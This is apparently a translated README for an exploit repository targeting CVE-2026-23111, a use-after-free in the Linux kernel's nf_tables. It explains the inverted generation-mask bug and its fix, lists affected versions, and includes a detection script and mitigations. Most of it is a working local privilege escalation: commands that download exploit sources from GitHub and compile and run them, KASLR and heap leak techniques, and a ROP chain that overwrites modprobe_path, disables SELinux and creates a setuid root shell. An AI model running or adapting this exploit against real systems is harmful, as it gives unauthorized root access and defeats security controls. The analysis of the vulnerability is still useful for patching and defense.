
نواة لينكس nf_tables استخدام بعد التحرير (CVE-2026-23111) — LPE PoC
Linux Kernel nf_tables استعمال بعد التحرير (رفع الامتيازات المحلية) إثبات المفهوم بواسطة baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| نطاق الإصدار | الإصدار الذي تم الإصلاح فيه |
|---|---|
| 6.19-rc1 to 6.19-rc8 | 6.19-rc9+ |
| 6.13 to 6.18.9 | 6.18.10 |
| 6.7 to 6.12.69 | 6.12.70 |
| 6.4.1 to 6.5.x | EOL (لا يوجد إصلاح مستقر) |
| 6.3.10 to 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 to 6.1.162 | 6.1.163 |
| 5.15.121 to 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | إصدارات LTS مختلفة |
CVE-2026-23111 هو خطأ use-after-free في nf_tables ناتج عن فحص generation-mask معكوس في nft_map_catchall_activate(). أثناء التراجع عن معاملة فاشلة، يجب إعادة تنشيط عناصر catchall لخريطة الحكم التي تم إلغاء تنشيطها بواسطة NFT_MSG_DELSET بحيث يتم استعادة المراجع مثل مراجع سلسلة NFT_GOTO. مسار تنشيط catchall بدلاً من ذلك تجاوز العناصر غير النشطة وعالج العناصر النشطة، تاركًا عناصر catchall غير المستعادة دون إصلاح.
منطق التنشيط الصحيح لغير catchall هو:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* تخطي النشط، معالجة غير النشط */
مسار catchall المعرض استخدم الشرط المعاكس:
if (!nft_set_elem_active(ext, genmask))
continue; /* تخطي غير النشط، معالجة النشط */
عند إعادة تراجع خريطة حكم pipapo محذوفة، يمنع هذا تشغيل nft_setelem_data_activate() للعنصر catchall غير النشط. بالنسبة لبيانات الحكم NFT_JUMP/NFT_GOTO، لا يتم استعادة المرجع للسلسلة الذي تم أخذه بواسطة nft_data_hold(). يمكن أن يؤدي تكرار تسلسل الإلغاء/التبديل/الحذف إلى دفع chain->use إلى الصفر بينما لا يزال هناك حكم آخر يحتوي على مرجع حكم صالح للسلسلة. يمكن لـ DELCHAIN لاحقًا تحرير السلسلة بينما تظل قابلة للوصول، مما يخلق UAF.
إنشاء جدول، سلسلة أساسية، سلسلة ضحية، وخريطة حكم pipapo مع catchall NFT_GOTO -> الضحية
|
الدفعة 1: حذف مجموعة pipapo، ثم فرض خطأ في المعاملة
|
مسار الإلغاء يستدعي nft_map_catchall_activate()، لكن الفحص المعكوس يتجاوز catchall غير النشط
|
يبقى catchall غير نشط ولا يتم استعادة عدد مراجع السلسلة الضحية
|
الدفعة 2: تنفيذ معاملة آمنة لتبديل مؤشر الجيل
|
الدفعة 3: حذف مجموعة pipapo بنجاح، مما يقلل من عدد مراجع السلسلة الضحية مرة أخرى
|
الدفعة 4: حذف السلسلة الضحية بينما لا يزال حكم السلسلة الأساسية يشير إليها
|
استعمال بعد التحرير عند تقييم الحزمة أو تفريغ القواعد التي تتبع مرجع الحكم المعلق
الإصلاح من المصدر هو إزالة النفي بحيث يتطابق nft_map_catchall_activate() مع nft_mapelem_activate(): يتم تخطي العناصر النشطة، وإعادة تنشيط العناصر غير النشطة، واستعادة مراجع الحكم/الكائن أثناء معالجة الإلغاء.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
استخدم هذا إذا فشل إثبات المفهوم الكامل/v1 على النواة المستهدفة.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
قم بتثبيت تبعيات البناء أولاً إذا لم يتمكن المترجم من العثور على رؤوس libmnl/libmnl.h أو libnftnl:
scripts/install-build-deps.sh
# أو
make deps
make # بناء إثبات المفهوم (إثبات المفهوم فقط)
make v2 # بناء إثبات المفهوم v2 (طريقة FuzzingLabs — جرب عندما يفشل v1)
make full # بناء استغلال كامل لرفع الامتيازات
make v3 # بناء مسار تقييم v3 المعاير
make run-d # تشغيل إثبات المفهوم مع إخراج التصحيح
make run-v2-d # تشغيل v2 مع إخراج التصحيح
make run-v3 # عرض استخدام/مساعدة v3
make run-full # تشغيل رفع الامتيازات الكامل
إنشاء مجموعة خرائط pipapo مع عنصر catchall (goto السلسلة الضحية)، ثم استخدام خطأ genmask المعكوس أثناء إلغاء DELSET لإفساد chain->use. بعد تقدم عداد الجيل، ينجح DELCHAIN على الرغم من المراجع المعلقة، مما يحرر السلسلة.
بعد UAF، يتم تحرير ذاكرة chain->name. نقوم برش هياكل seq_operations (32 بايت) عن طريق فتح /proc/self/stat لاستعادة فتحة ذاكرة التخزين المؤقت المحررة. قراءة حكم السلسلة الأساسية الفوري عبر NFT_MSG_GETRULE تقوم بتفريغ اسم السلسلة المسترد، مما يسرب مؤشرات دالة النواة. يضمن التحقق من الصحة قبول عناوين نص النواة القياسية فقط.
إعادة تشغيل UAF مع اسم سلسلة أطول (140 بايت → kmalloc-cg-192)، ثم رش كائنات nft_rule لاستعادة الذاكرة. مؤشرات list_head المسربة تكشف عناوين الكومة في منطقة الخريطة المباشرة.
nft_expr_ops و nft_rule_blob المزيفةblob_gen_0 للسلسلة المحررةcommit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcoreexpr->ops->eval المختطفيستخدم استغلال v2 (exploit_v2.c) التقنيات الموصوفة في كتابة FuzzingLabs ويمكن استخدامه عندما يفشل إثبات المفهوم v1. الاختلافات الرئيسية:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (مؤشر موسوم)
msg_queue + 0xc0 → q_messages.next → عنوان كومة msg_msg
كل خطوة تستخدم بنية السلسلة المحررة كأداة قراءة عشوائية:
بيانات مستخدم الجدول (128 بايت) تستعيد nft_chain المحرر في kmalloc-cg-128،
وعنوان نواة موضوع في الإزاحة 0x40 (حيث يوجد chain->name) يتم تفكيكه بواسطة النواة أثناء تفريغ عناصر SET_B.
مرحلة الكومة v3 تعتمد على توقع الإزاحة بدلاً من أداة قراءة عشوائية حقيقية آمنة ثنائية عبر eval. قم بمعايرة الهدف قبل تشغيل الرش النهائي:
grep msg_msg /proc/slabinfo
# قارن مع كثافة كائنات kmalloc-cg-2048، ثم نفذ مع:
./exploit_v3 --msg-msg-addr 0xffff...
# أو، عندما تكون القيمة معروفة نسبيًا لقاعدة النواة المسربة:
./exploit_v3 --msg-msg-delta 0x...
تحقق من إزاحات هياكل nftables مقابل بناء النواة الدقيق:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
مسح الأدوات يستخدم /proc/kcore؛ إذا كان مقيدًا، استخرج الأدوات من vmlinux دون اتصال وثبت العناوين نسبيًا لقاعدة النواة المسربة. يستخدم مسار تقييم حزمة v3 push rdi; pop rsp لأن rdi = expr؛ هذا يختلف عن مسار التحقق v2 حيث rsi = expr.
push rdi; pop rsp; pop rbp; ret ← محور المكدس (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ كتابة modprobe_path
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ تعطيل SELinux
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ إبقاء النواة حية
يعمل سكريبت /tmp/pe كجذر عندما تستدعي النواة modprobe_path بعد مواجهة تنسيق ثنائي غير معروف. يقوم بإنشاء قشرة جذر setuid في /tmp/rootbash.
NFT_MSG_GETELEM (مسار كود نواة مختلف) بدلاً من NFT_MSG_GETRULEinit_ipc_ns للتنقل عبر هياكل بيانات النواة بدلاً من رش كائنات nft_rulemsg_msg-2k (مخزن مؤقت كبير ومستقر) بدلاً من nft_rules + بيانات مستخدم الجدول لحمولة ROPmodprobe_path (يعمل بدون swapgs/iretq) بدلاً من commit_creds + تبديل مساحة الأسماءSLAB_RANDOM/تقوية: سلسلة init_ipc_ns في v2 تستهدف متغيرًا عالميًا مستقرًا، مما يجعل تخطيط الكومة أقل أهميةفي nft_map_catchall_activate() (net/netfilter/nf_tables_api.c):
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // خطأ: يجب أن يكون بدون '!'
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
! تتسبب في تخطي الوظيفة للعناصر غير النشطة بدلاً من معالجتها. أثناء إلغاء المعاملة، يتم تخطي عنصر catchall (الذي تم إلغاء تنشيطه للتو بواسطة DELSET)، لذلك لا يتم استدعاء nft_data_hold() لاستعادة عداد مرجع السلسلة.
├── CVE-2026-23111-checker.py سكريبت كشف الثغرة (--detailed, --json)
├── exploit.c إثبات المفهوم (UAF + تسريب KASLR + تسريب الكومة)
├── exploit_v2.c استغلال v2 (طريقة FuzzingLabs — جرب عندما يفشل v1)
├── exploit_full.c استغلال رفع امتيازات كامل (UAF + تسريبات + سلسلة ROP)
├── exploit_full_aarch64 ثنائي aarch64 مبني مسبقًا (ثابت)
├── exploit_full.b64 ثنائي الاستغلال الكامل مشفر بـ Base64
├── Makefile تكوين البناء
└── README.md هذا الملف
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # إثبات المفهوم مع ASan
make debug-full # الاستغلال الكامل مع ASan
يقوم سكريبت الكشف بطرق كشف متعددة:
nf_tables محملةCONFIG_NF_TABLES من /proc/config.gz أو /boot/config-*nft_map_catchall_activate في /proc/kallsymskernel.unprivileged_userns_clonepython3 CVE-2026-23111-checker.py --detailed # قابل للقراءة البشرية مع إجراءات التخفيف
python3 CVE-2026-23111-checker.py --json # JSON قابل للقراءة آليًا
sysctl kernel.unprivileged_userns_clone=0nf_tables في القائمة السوداء إذا لم تكن مطلوبة:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| المكون | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| تشغيل UAF | مجموعة واحدة + حكم goto فوري | مجموعتان (أسلوب FuzzingLabs) + حكم بحث |
| قراءة KASLR | NFT_MSG_GETRULE (تفريغ القواعد) | NFT_MSG_GETELEM (تفريغ العناصر) + احتياطي GETRULE |
| تسريب الكومة | رش nft_rule + تسريب list_head | سلسلة قراءة عشوائية init_ipc_ns |
| مضيف ROP | nft_rules + بيانات مستخدم الجدول | رسالة msg_msg-2k (رسالة 2048 بايت) |
| تشغيل الاختطاف | تقييم الحزمة على goto الفوري | تقييم الحزمة على catchall المجموعة الباقية |
| رفع الامتيازات | commit_creds + switch_task_namespaces | استبدال modprobe_path + تعطيل SELinux |
| مسار العودة | swapgs; iretq | msleep() (يبقى في النواة) |
| المشكلة | الحل |
|---|
mnl_socket_open: No such file or directory | تأكد من تحميل وحدة nf_tables: modprobe nf_tables |
unshare: Operation not permitted | يتطلب مساحات أسماء مستخدم غير مميزة. تحقق من kernel.unprivileged_userns_clone=1 |
Batch A did NOT abort | قد تكون النواة مرقعة أو سلوك genmask مختلف |
No kernel pointer leaked | قد تكون تقوية KASLR أو SLAB_RANDOM مفعلة؛ جرب عدة مرات |
No heap pointer found | معدل تصادم رش الكومة احتمالي؛ أعد المحاولة أو زد عدد الرش |
الترجمة: nf_tables.h: No such file | قم بتثبيت رؤوس النواة: apt install linux-headers-$(uname -r) |
خطأ ربط: undefined reference to mnl_* | ترتيب الربط مهم: -lnftnl -lmnl (nftnl قبل mnl) |